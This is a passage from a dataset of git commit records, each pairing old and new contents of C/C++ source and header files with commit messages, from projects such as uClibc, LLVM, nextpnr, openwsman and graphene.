will need to provide a mock implementing IFind.\n","lang":"C","license":"apache-2.0","repos":"Feoggou\/zLib"}
{"commit":"65e4c1a76b1d37248de01d6b482a7781612c0ca5","old_file":"stf\/NBodylib\/src\/NBody\/SwiftParticle.h","new_file":"stf\/NBodylib\/src\/NBody\/SwiftParticle.h","old_contents":"\/*! \\file SwiftParticle.h\n *  \\brief header file for the SWIFT particle type.\n\n*\/\n\n#ifndef SWIFT_PARTICLE_H\n#define SWIFT_PARTICLE_H\n\n#define SWIFT_STRUCT_ALIGNMENT 32 \n#define SWIFT_STRUCT_ALIGN __attribute__((aligned(SWIFT_STRUCT_ALIGNMENT)))\n\nnamespace Swift\n{\n\n    \/* The different types of particles a #gpart can link to.\n       Note we use the historical values from Gadget for these fields. *\/\n    enum part_type {\n        swift_type_gas = 0,\n        swift_type_dark_matter = 1,\n        swift_type_star = 4,\n        swift_type_black_hole = 5,\n        swift_type_count\n    } __attribute__((packed));\n\n    typedef char timebin_t;\n\n    \/* Gravity particle. *\/\n    struct gpart {\n\n        \/* Particle ID. If negative, it is the negative offset of the #part with\n           which this gpart is linked. *\/\n        long long id_or_neg_offset;\n\n        \/* Particle position. *\/\n        double x[3];\n\n        \/* Offset between current position and position at last tree rebuild. *\/\n        float x_diff[3];\n\n        \/* Particle velocity. *\/\n        float v_full[3];\n\n        \/* Particle acceleration. *\/\n        float a_grav[3];\n\n        \/* Particle mass. *\/\n        float mass;\n\n        \/* Gravitational potential *\/\n        float potential;\n\n        \/* Time-step length *\/\n        timebin_t time_bin;\n\n        \/* Type of the #gpart (DM, gas, star, ...) *\/\n        enum part_type type;\n\n        \/\/#ifdef SWIFT_DEBUG_CHECKS\n        \/\/\n        \/\/    \/* Numer of gparts this gpart interacted with *\/\n        \/\/    long long num_interacted;\n        \/\/\n        \/\/    \/* Time of the last drift *\/\n        \/\/    integertime_t ti_drift;\n        \/\/\n        \/\/    \/* Time of the last kick *\/\n        \/\/    integertime_t ti_kick;\n        \/\/\n        \/\/#endif\n        \/\/\n        \/\/#ifdef SWIFT_GRAVITY_FORCE_CHECKS\n        \/\/\n        \/\/    \/* Brute-force particle acceleration. *\/\n        \/\/    double a_grav_exact[3];\n        \/\/\n        \/\/#endif\n\n    } SWIFT_STRUCT_ALIGN;\n\n    extern \"C\" {\n        #include \"hydro_part.h\"\n    }\n}\n\n#endif\n","new_contents":"\/*! \\file SwiftParticle.h\n *  \\brief header file for the SWIFT particle type.\n\n*\/\n\n#ifndef SWIFT_PARTICLE_H\n#define SWIFT_PARTICLE_H\n\nnamespace Swift\n{\n    \/* Include some struct definitions from SWIFT. *\/\n    extern \"C\" {\n        #include \"align.h\"\n        #include \"timeline.h\"\n        #include \"part_type.h\"\n        #include \"gravity_part.h\"\n        #include \"hydro_part.h\"\n    }\n}\n\n#endif\n","subject":"Include SWIFT struct definitions directly from SWIFT.","message":"Include SWIFT struct definitions directly from SWIFT.\n","lang":"C","license":"mit","repos":"pelahi\/VELOCIraptor-STF,pelahi\/VELOCIraptor-STF,pelahi\/VELOCIraptor-STF"}
{"commit":"307fe534193aede6787f638e6c9c95f84cc30b15","old_file":"Projects\/MacOS\/ProjectBuilder\/XercesSamples\/xerces_sample_prefix.h","new_file":"Projects\/MacOS\/ProjectBuilder\/XercesSamples\/xerces_sample_prefix.h","old_contents":"","new_contents":"\/*\n * The Apache Software License, Version 1.1\n *\n * Copyright (c) 2001-2002 The Apache Software Foundation.  All rights\n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n *    if any, must include the following acknowledgment:\n *       \"This product includes software developed by the\n *        Apache Software Foundation (http:\/\/www.apache.org\/).\"\n *    Alternately, this acknowledgment may appear in the software itself,\n *    if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xerces\" and \"Apache Software Foundation\" must\n *    not be used to endorse or promote products derived from this\n *    software without prior written permission. For written\n *    permission, please contact apache\\@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n *    nor may \"Apache\" appear in their name, without prior written\n *    permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED.  IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation, and was\n * originally based on software copyright (c) 2001, International\n * Business Machines, Inc., http:\/\/www.ibm.com .  For more information\n * on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n\n\/*\n * $Id$\n *\/\n\n\/\/\tObjective C only\n#if __OBJC__\n#endif\n\n\/\/\tC++ only\n#if defined(__cplusplus)\n#include <algorithm>\n#include <cstring>\n#include <cstdlib>\n#include <cctype>\n#include <cstdio>\n#include <memory>\n#endif\n\n\/\/\tStandard C headers\n#include <stddef.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdlib.h>\n\n\/\/\tCarbon Headers\n#include <Carbon\/Carbon.h>\n#include <CoreFoundation\/CoreFoundation.h>\n","subject":"Add prefix file for ProjectBuilder samples","message":"Add prefix file for ProjectBuilder samples\n\n\ngit-svn-id: 3ec853389310512053d525963cab269c063bb453@174526 13f79535-47bb-0310-9956-ffa450edef68\n","lang":"C","license":"apache-2.0","repos":"AaronNGray\/xerces,AaronNGray\/xerces,AaronNGray\/xerces,AaronNGray\/xerces"}
{"commit":"69e291e4078480c133aa435394593e1ac37bc24c","old_file":"include\/features.h","new_file":"include\/features.h","old_contents":"\n#ifndef __FEATURES_H\n#define __FEATURES_H\n\n\n\/* Major and minor version number of the uCLibc library package.  Use\n   these macros to test for features in specific releases.  *\/\n#define\t__UCLIBC__\t\t0\n#define\t__UCLIBC_MAJOR__\t9\n#define\t__UCLIBC_MINOR__\t1\n\n\n#ifdef __STDC__\n\n#define __P(x) x\n#define __const const\n\n\/* Almost ansi *\/\n#if __STDC__ != 1\n#define const\n#define volatile\n#endif\n\n#else \/* K&R *\/\n\n#define __P(x) ()\n#define __const\n#define const\n#define volatile\n\n#endif\n\n\/* No C++ *\/\n#define __BEGIN_DECLS\n#define __END_DECLS\n\n\/* GNUish things *\/\n#define __CONSTVALUE\n#define __CONSTVALUE2\n\n#define __USE_BSD\n#define __USE_MISC\n#define __USE_POSIX\n#define __USE_POSIX2\n#define _POSIX_THREAD_SAFE_FUNCTIONS\n\n#include <sys\/cdefs.h>\n\n\n#endif\n\n","new_contents":"\n#ifndef __FEATURES_H\n#define __FEATURES_H\n\n\n\/* Major and minor version number of the uCLibc library package.  Use\n   these macros to test for features in specific releases.  *\/\n#define\t__UCLIBC__\t\t0\n#define\t__UCLIBC_MAJOR__\t9\n#define\t__UCLIBC_MINOR__\t1\n\n\/* __restrict is known in EGCS 1.2 and above. *\/\n#if !defined __GNUC__ || __GNUC__ < 2 || (__GNUC__ == 2 && __GNUC_MINOR__ <\n\t92)\n# define __restrict     \/* Ignore *\/\n#endif\n\n\n#ifdef __STDC__\n\n#define __P(x) x\n#define __const const\n\n\/* Almost ansi *\/\n#if __STDC__ != 1\n#define const\n#define volatile\n#endif\n\n#else \/* K&R *\/\n\n#define __P(x) ()\n#define __const\n#define const\n#define volatile\n\n#endif\n\n\/* No C++ *\/\n#define __BEGIN_DECLS\n#define __END_DECLS\n\n\/* GNUish things *\/\n#define __CONSTVALUE\n#define __CONSTVALUE2\n\n#define __USE_BSD\n#define __USE_MISC\n#define __USE_POSIX\n#define __USE_POSIX2\n#define _POSIX_THREAD_SAFE_FUNCTIONS\n\n#include <sys\/cdefs.h>\n\n\n#endif\n\n","subject":"Remove __restrict when not supported -Erik","message":"Remove __restrict when not supported\n -Erik\n","lang":"C","license":"lgpl-2.1","repos":"gittup\/uClibc,ffainelli\/uClibc,wbx-github\/uclibc-ng,ndmsystems\/uClibc,foss-for-synopsys-dwc-arc-processors\/uClibc,ChickenRunjyd\/klee-uclibc,kraj\/uClibc,hjl-tools\/uClibc,hjl-tools\/uClibc,wbx-github\/uclibc-ng,hwoarang\/uClibc,ysat0\/uClibc,ndmsystems\/uClibc,ffainelli\/uClibc,skristiansson\/uClibc-or1k,mephi42\/uClibc,kraj\/uclibc-ng,skristiansson\/uClibc-or1k,wbx-github\/uclibc-ng,ddcc\/klee-uclibc-0.9.33.2,wbx-github\/uclibc-ng,majek\/uclibc-vx32,OpenInkpot-archive\/iplinux-uclibc,gittup\/uClibc,klee\/klee-uclibc,czankel\/xtensa-uclibc,hwoarang\/uClibc,klee\/klee-uclibc,OpenInkpot-archive\/iplinux-uclibc,brgl\/uclibc-ng,OpenInkpot-archive\/iplinux-uclibc,klee\/klee-uclibc,majek\/uclibc-vx32,hjl-tools\/uClibc,mephi42\/uClibc,groundwater\/uClibc,kraj\/uclibc-ng,ysat0\/uClibc,foss-xtensa\/uClibc,foss-for-synopsys-dwc-arc-processors\/uClibc,waweber\/uclibc-clang,gittup\/uClibc,waweber\/uclibc-clang,ndmsystems\/uClibc,brgl\/uclibc-ng,ddcc\/klee-uclibc-0.9.33.2,kraj\/uClibc,mephi42\/uClibc,foss-xtensa\/uClibc,ddcc\/klee-uclibc-0.9.33.2,m-labs\/uclibc-lm32,m-labs\/uclibc-lm32,ChickenRunjyd\/klee-uclibc,ffainelli\/uClibc,atgreen\/uClibc-moxie,hwoarang\/uClibc,OpenInkpot-archive\/iplinux-uclibc,klee\/klee-uclibc,waweber\/uclibc-clang,czankel\/xtensa-uclibc,m-labs\/uclibc-lm32,foss-for-synopsys-dwc-arc-processors\/uClibc,groundwater\/uClibc,majek\/uclibc-vx32,groundwater\/uClibc,waweber\/uclibc-clang,mephi42\/uClibc,majek\/uclibc-vx32,groundwater\/uClibc,ysat0\/uClibc,ddcc\/klee-uclibc-0.9.33.2,atgreen\/uClibc-moxie,hjl-tools\/uClibc,kraj\/uClibc,atgreen\/uClibc-moxie,hjl-tools\/uClibc,skristiansson\/uClibc-or1k,foss-for-synopsys-dwc-arc-processors\/uClibc,ffainelli\/uClibc,czankel\/xtensa-uclibc,kraj\/uClibc,foss-xtensa\/uClibc,ChickenRunjyd\/klee-uclibc,hwoarang\/uClibc,ffainelli\/uClibc,ndmsystems\/uClibc,gittup\/uClibc,brgl\/uclibc-ng,kraj\/uclibc-ng,groundwater\/uClibc,czankel\/xtensa-uclibc,ysat0\/uClibc,m-labs\/uclibc-lm32,kraj\/uclibc-ng,foss-xtensa\/uClibc,atgreen\/uClibc-moxie,brgl\/uclibc-ng,ChickenRunjyd\/klee-uclibc,skristiansson\/uClibc-or1k"}
{"commit":"22bca278cabbaa9e873c5f40b16e094963e6b6c5","old_file":"src\/gf\/linear_equation_system.h","new_file":"src\/gf\/linear_equation_system.h","old_contents":"","new_contents":"#pragma once\n\n#include \"polynomial.h\"\n\ntemplate <typename Polytype>\nclass linear_equation_system : public std::vector<Polytype> {\n  std::vector<Polytype> rows;\n\n  linear_equation_system reduced_echelon_form() const {\n    std::vector<Polytype> nrows(*this);\n\n    \/* make sure rows are sorted with the left-most elements at the top *\/\n    std::sort(std::begin(nrows), std::end(nrows),\n              [](const Polytype &lhs,\n                 const Polytype &rhs) { return lhs.degree() > rhs.degree(); });\n\n    for (auto first_row = nrows.begin(); first_row != nrows.end();\n         ++first_row) {\n      (*first_row) *= first_row->at(first_row->degree()).inverse();\n      for (auto next_rows = first_row + 1; next_rows != nrows.end();\n           ++next_rows) {\n        \/* only add if not already zero *\/\n        if (next_rows->at(first_row->degree()))\n          (*next_rows) += (*first_row) * next_rows->at(next_rows->degree());\n      }\n      \/\/ std::cout << matrix(nrows) << std::endl;\n    }\n\n    for (auto modify = nrows.rbegin() + 1; modify != nrows.rend(); ++modify) {\n      for (auto row = nrows.crbegin(); row != modify; ++row) {\n        const size_t index = std::distance(std::crbegin(nrows), row) + 1;\n        auto factor = modify->at(index);\n        (*modify) += (*row) * factor;\n      }\n    }\n\n    return linear_equation_system(nrows);\n  }\n\npublic:\n  using std::vector<Polytype>::vector;\n\n  linear_equation_system() = default;\n  linear_equation_system(const std::vector<Polytype> &v)\n      : std::vector<Polytype>::vector(v) {}\n  linear_equation_system(std::vector<Polytype> &&v)\n      : std::vector<Polytype>::vector(std::move(v)) {}\n\n  Polytype solution() const {\n    linear_equation_system copy(reduced_echelon_form());\n\n    \/*\n     * Matrix:\n     * x = 0 0 1\n     * y = 0 1 0\n     * z = 1 0 0\n     *     ^ back()[1].\n     * Must be non-zero, otherwise the system is overdetermined.\n     * Since it is in row-echelon form, it must be one.\n     *\/\n    if (copy.back()[1] != typename Polytype::element_type(1))\n      throw std::runtime_error(\"Linear equation system not solvable\");\n\n    Polytype s;\n    for (const auto &row : copy) {\n      s.push_back(row[0]);\n    }\n\n    return s;\n  }\n};\n\n","subject":"Add linear equations system class template","message":"Add linear equations system class template\n","lang":"C","license":"bsd-3-clause","repos":"hannesweisbach\/channelcoding"}
{"commit":"1efe7fa345f5ab9fb75ecf6f7109c2f1fd9ec4a0","old_file":"src\/tests\/graphene-test-compat.h","new_file":"src\/tests\/graphene-test-compat.h","old_contents":"#include <glib.h>\n\n#if !GLIB_CHECK_VERSION (2, 40, 0)\n# define g_assert_true(expr)            g_assert ((expr))\n# define g_assert_false(expr)           g_assert (!(expr))\n# define g_assert_null(expr)            g_assert ((expr) == NULL)\n# define g_assert_nonnull(expr)         g_assert ((expr) != NULL)\n#endif\n","new_contents":"#include <glib.h>\n\n#if !GLIB_CHECK_VERSION (2, 40, 0)\n# define g_assert_true(expr)            g_assert ((expr))\n# define g_assert_false(expr)           g_assert (!(expr))\n# define g_assert_null(expr)            g_assert ((expr) == NULL)\n# define g_assert_nonnull(expr)         g_assert ((expr) != NULL)\n#endif\n\n#define graphene_assert_fuzzy_equals(n1,n2,epsilon) \\\n  G_STMT_START { \\\n    typeof ((n1)) __n1 = (n1); \\\n    typeof ((n2)) __n2 = (n2); \\\n    typeof ((epsilon)) __epsilon = (epsilon); \\\n    if (__n1 > __n2) { \\\n      if ((__n1 - __n2) < __epsilon) ; else { \\\n        g_assertion_message_cmpnum (G_LOG_DOMAIN, __FILE__, __LINE__, G_STRFUNC, \\\n                                    #n1 \" == \" #n2 \" (+\/- \" #epsilon \")\", \\\n                                    __n1, \"==\", __n2, 'f'); \\\n      } \\\n    } else { \\\n      if ((__n2 - __n1) < __epsilon) ; else { \\\n        g_assertion_message_cmpnum (G_LOG_DOMAIN, __FILE__, __LINE__, G_STRFUNC, \\\n                                    #n1 \" == \" #n2 \" (+\/- \" #epsilon \")\", \\\n                                    __n1, \"==\", __n2, 'f'); \\\n      } \\\n    } \\\n  } G_STMT_END\n","subject":"Add a fuzzy comparison macro","message":"tests: Add a fuzzy comparison macro\n\nWe use something like this in the matrix test suite, but it's useful for\nother types.\n","lang":"C","license":"mit","repos":"criptych\/graphene,criptych\/graphene,criptych\/graphene,ebassi\/graphene,ebassi\/graphene,criptych\/graphene"}
{"commit":"5582ce10e466a70c96b6c74288c07b54406c39c6","old_file":"bindings\/tcl\/matrixInit.c","new_file":"bindings\/tcl\/matrixInit.c","old_contents":"#include \"tclMatrix.h\"\n\nint Matrix_Init\t(Tcl_Interp*);\n\nint Matrix_Init( Tcl_Interp *interp ) {\n\n    \/* matrix -- matrix\tsupport\tcommand\t*\/\n    Tcl_CreateCommand(interp, \"matrix\",\tTcl_MatrixCmd,\n\t\t      (ClientData) NULL, (void (*)(ClientData))\tNULL);\n\n    Tcl_PkgProvide(interp, \"Matrix\", \"0.1\");\n    return TCL_OK;\n}","new_contents":"#include \"tclMatrix.h\"\n\nint Matrix_Init\t(Tcl_Interp*);\n\nint Matrix_Init( Tcl_Interp *interp ) {\n\n    \/* matrix -- matrix\tsupport\tcommand\t*\/\n    Tcl_CreateCommand(interp, \"matrix\",\tTcl_MatrixCmd,\n\t\t      (ClientData) NULL, (void (*)(ClientData))\tNULL);\n\n    Tcl_PkgProvide(interp, \"Matrix\", \"0.1\");\n    return TCL_OK;\n}\n","subject":"Add newline to make compiler happy.","message":"Add newline to make compiler happy.\n\nsvn path=\/trunk\/; revision=2015\n","lang":"C","license":"lgpl-2.1","repos":"FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot"}
{"commit":"e1717bd771f51e3a2c370ffa64d50de6b8ee6ca6","old_file":"common\/base_clusterinfo.h","new_file":"common\/base_clusterinfo.h","old_contents":"","new_contents":"\/*\n *  nextpnr -- Next Generation Place and Route\n *\n *  Copyright (C) 2021  gatecat <gatecat@ds0.me>\n *\n *  Permission to use, copy, modify, and\/or distribute this software for any\n *  purpose with or without fee is hereby granted, provided that the above\n *  copyright notice and this permission notice appear in all copies.\n *\n *  THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n *  WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n *  MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n *  ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n *  WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n *  ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n *  OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\n *\/\n\n#ifndef BASE_CLUSTERINFO_H\n#define BASE_CLUSTERINFO_H\n\n#include \"idstring.h\"\n#include \"nextpnr_namespaces.h\"\n\nNEXTPNR_NAMESPACE_BEGIN\n\nstruct CellInfo;\n\n\/\/ The 'legacy' cluster data, used for existing arches and to provide a basic implementation for arches without complex\n\/\/ clustering requirements\nstruct BaseClusterInfo\n{\n    std::vector<CellInfo *> constr_children;\n    const int UNCONSTR = INT_MIN;\n    int constr_x = UNCONSTR;   \/\/ this.x - parent.x\n    int constr_y = UNCONSTR;   \/\/ this.y - parent.y\n    int constr_z = UNCONSTR;   \/\/ this.z - parent.z\n    bool constr_abs_z = false; \/\/ parent.z := 0\n};\n\nNEXTPNR_NAMESPACE_END\n\n#endif \/* BASE_ARCH_H *\/\n","subject":"Add BaseClusterInfo for base implementation","message":"Add BaseClusterInfo for base implementation\n\nSigned-off-by: gatecat <c690b4516f836771c8bd4e23cd8f1cebc83093a6@ds0.me>\n","lang":"C","license":"isc","repos":"SymbiFlow\/nextpnr,SymbiFlow\/nextpnr,SymbiFlow\/nextpnr,YosysHQ\/nextpnr,YosysHQ\/nextpnr,SymbiFlow\/nextpnr,YosysHQ\/nextpnr,YosysHQ\/nextpnr"}
{"commit":"570e125e5db1ec2bdf12c32b77f1169d2c6831e8","old_file":"tests\/system_tests\/test_cases\/test_reduction_2d.c","new_file":"tests\/system_tests\/test_cases\/test_reduction_2d.c","old_contents":"","new_contents":"\/*\n * TEST: Grid reduction OP=PS_SUM\n * DIM: 2\n * PRIORITY: 1\n *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include \"physis\/physis.h\"\n\n#define N 4\n#define REAL double\n#define PSGrid2D PSGrid2DDouble\n#define PSGrid2DNew PSGrid2DDoubleNew\n\nREAL reduce(REAL *g) {\n  REAL v = 0.0;\n  int i;\n  for (i = 0; i < N*N; ++i) {\n    v += g[i];\n  }\n  return v;\n}\n\nint main(int argc, char *argv[]) {\n  PSInit(&argc, &argv, 2, N, N);\n  PSGrid2D g1 = PSGrid2DNew(N, N);\n  size_t nelms = N*N;\n  REAL *indata = (REAL *)malloc(sizeof(REAL) * nelms);\n  int i;\n  for (i = 0; i < nelms; i++) {\n    indata[i] = i;\n  }\n  PSGridCopyin(g1, indata);\n  REAL v;\n  PSReduce(&v, PS_SUM, g1);\n  REAL v_ref = reduce(indata);\n  fprintf(stderr, \"Reduction result: %f, reference: %f\\n\", v, v_ref);\n  if (v != v_ref) {\n    fprintf(stderr, \"Error: Non matching result\\n\");\n    exit(1);\n  }\n  PSGridFree(g1);\n  PSFinalize();\n  free(indata);\n  return 0;\n}\n\n","subject":"Add a test case for reduction of 2D grids.","message":"Add a test case for reduction of 2D grids.\n","lang":"C","license":"bsd-3-clause","repos":"naoyam\/physis,naoyam\/physis,naoyam\/physis,naoyam\/physis"}
{"commit":"f2b83f08d3ed35fd4a119d40b554ad651e7c6f3d","old_file":"src\/server\/shttpd\/compat_unix.h","new_file":"src\/server\/shttpd\/compat_unix.h","old_contents":"\/*\n * Copyright (c) 2004-2007 Sergey Lyubka <valenok@gmail.com>\n * All rights reserved\n *\n * \"THE BEER-WARE LICENSE\" (Revision 42):\n * Sergey Lyubka wrote this file.  As long as you retain this notice you\n * can do whatever you want with this stuff. If we meet some day, and you think\n * this stuff is worth it, you can buy me a beer in return.\n *\/\n\n#include <sys\/wait.h>\n#include <sys\/socket.h>\n#include <sys\/select.h>\n#include <sys\/mman.h>\n#include <netinet\/in.h>\n#include <arpa\/inet.h>\n#include <sys\/time.h>\n\n#include <pwd.h>\n#include <unistd.h>\n#include <dirent.h>\n#include <dlfcn.h>\n#define\tSSL_LIB\t\t\t\t\"libssl.so\"\n#define\tDIRSEP\t\t\t\t'\/'\n#define\tIS_DIRSEP_CHAR(c)\t\t((c) == '\/')\n#define\tO_BINARY\t\t\t0\n#define\tclosesocket(a)\t\t\tclose(a)\n#define\tERRNO\t\t\t\terrno\n#define\tNO_GUI\n\n#define\tInitializeCriticalSection(x)\t\/* FIXME UNIX version is not MT safe *\/\n#define\tEnterCriticalSection(x)\n#define\tLeaveCriticalSection(x)\n","new_contents":"\/*\n * Copyright (c) 2004-2007 Sergey Lyubka <valenok@gmail.com>\n * All rights reserved\n *\n * \"THE BEER-WARE LICENSE\" (Revision 42):\n * Sergey Lyubka wrote this file.  As long as you retain this notice you\n * can do whatever you want with this stuff. If we meet some day, and you think\n * this stuff is worth it, you can buy me a beer in return.\n *\/\n\n#include <sys\/wait.h>\n#include <sys\/socket.h>\n#include <sys\/select.h>\n#include <sys\/mman.h>\n#include <netinet\/in.h>\n#include <arpa\/inet.h>\n#include <sys\/time.h>\n\n#include <pwd.h>\n#include <unistd.h>\n#include <dirent.h>\n#include <dlfcn.h>\n#ifndef SSL_LIB\n#define\tSSL_LIB\t\t\t\t\"libssl.so\"\n#endif\n#define\tDIRSEP\t\t\t\t'\/'\n#define\tIS_DIRSEP_CHAR(c)\t\t((c) == '\/')\n#define\tO_BINARY\t\t\t0\n#define\tclosesocket(a)\t\t\tclose(a)\n#define\tERRNO\t\t\t\terrno\n#define\tNO_GUI\n\n#define\tInitializeCriticalSection(x)\t\/* FIXME UNIX version is not MT safe *\/\n#define\tEnterCriticalSection(x)\n#define\tLeaveCriticalSection(x)\n","subject":"Allow to override SSL_LIB during build","message":"Allow to override SSL_LIB during build\n\nSSL_LIB defaults to libssl.so which is only provided by a -devel\npackage and hence not loadable dynamically during runtime.\n","lang":"C","license":"bsd-3-clause","repos":"photron\/openwsman,vcrhonek\/openwsman,vcrhonek\/openwsman,photron\/openwsman,kolbma\/openwsman,Openwsman\/openwsman,photron\/openwsman,photron\/openwsman,vcrhonek\/openwsman,kkaempf\/openwsman,kolbma\/openwsman,kkaempf\/openwsman,kkaempf\/openwsman,Openwsman\/openwsman,kolbma\/openwsman,vcrhonek\/openwsman,photron\/openwsman,Openwsman\/openwsman,kolbma\/openwsman,photron\/openwsman,Openwsman\/openwsman,Openwsman\/openwsman,Openwsman\/openwsman,kolbma\/openwsman,kkaempf\/openwsman,vcrhonek\/openwsman,vcrhonek\/openwsman,vcrhonek\/openwsman,Openwsman\/openwsman,kkaempf\/openwsman,kolbma\/openwsman,kkaempf\/openwsman,kolbma\/openwsman,kkaempf\/openwsman,photron\/openwsman"}
{"commit":"194ca80fdbb4e15db7527aaeff6ba1e36fd27fb0","old_file":"lib\/System\/Unix\/Unix.h","new_file":"lib\/System\/Unix\/Unix.h","old_contents":"\/\/===- llvm\/System\/Unix\/Unix.h - Common Unix Include File -------*- C++ -*-===\/\/\n\/\/ \n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by Reid Spencer and is distributed under the \n\/\/ University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines things specific to Unix implementations.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/=== WARNING: Implementation here must contain only generic UNIX code that\n\/\/===          is guaranteed to work on all UNIX variants.\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Config\/config.h\"     \/\/ Get autoconf configuration settings\n#include <unistd.h>\n#include <cstdlib>\n#include <cstdio>\n#include <cstring>\n#include <cerrno>\n#include <sys\/types.h>\n#include <sys\/param.h>\n#include <assert.h>\n#include <string>\n\ninline void ThrowErrno(const std::string& prefix) {\n    char buffer[MAXPATHLEN];\n    throw prefix + \": \" + strerror(errno);\n}\n","new_contents":"\/\/===- llvm\/System\/Unix\/Unix.h - Common Unix Include File -------*- C++ -*-===\/\/\n\/\/ \n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by Reid Spencer and is distributed under the \n\/\/ University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines things specific to Unix implementations.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/=== WARNING: Implementation here must contain only generic UNIX code that\n\/\/===          is guaranteed to work on all UNIX variants.\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Config\/config.h\"     \/\/ Get autoconf configuration settings\n#include <unistd.h>\n#include <cstdlib>\n#include <cstdio>\n#include <cstring>\n#include <cerrno>\n#include <sys\/types.h>\n#include <sys\/param.h>\n#include <assert.h>\n#include <string>\n#include <algorithm>\n\ninline void ThrowErrno(const std::string& prefix) {\n    char buffer[MAXPATHLEN];\n    throw prefix + \": \" + strerror(errno);\n}\n","subject":"Make this work with the ICC compiler, contributed by Bjørn Wennberg","message":"Make this work with the ICC compiler, contributed by Bjørn Wennberg\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@18626 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,apple\/swift-llvm,chubbymaggie\/asap,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm"}
{"commit":"c3de9524268cfcd2d04fbf464d3b1dafc20f3e7c","old_file":"lib\/System\/Unix\/Unix.h","new_file":"lib\/System\/Unix\/Unix.h","old_contents":"\/\/===- llvm\/System\/Unix\/Unix.h - Common Unix Include File -----*- C++ -*-===\/\/\n\/\/ \n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by Reid Spencer and is distributed under the \n\/\/ University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines things specific to Unix implementations.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/=== WARNING: Implementation here must contain only generic UNIX code that\n\/\/===          is guaranteed to work on all UNIX variants.\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include <unistd.h>\n#include <stdlib.h>\n#include <string.h>\n#include <errno.h>\n#include 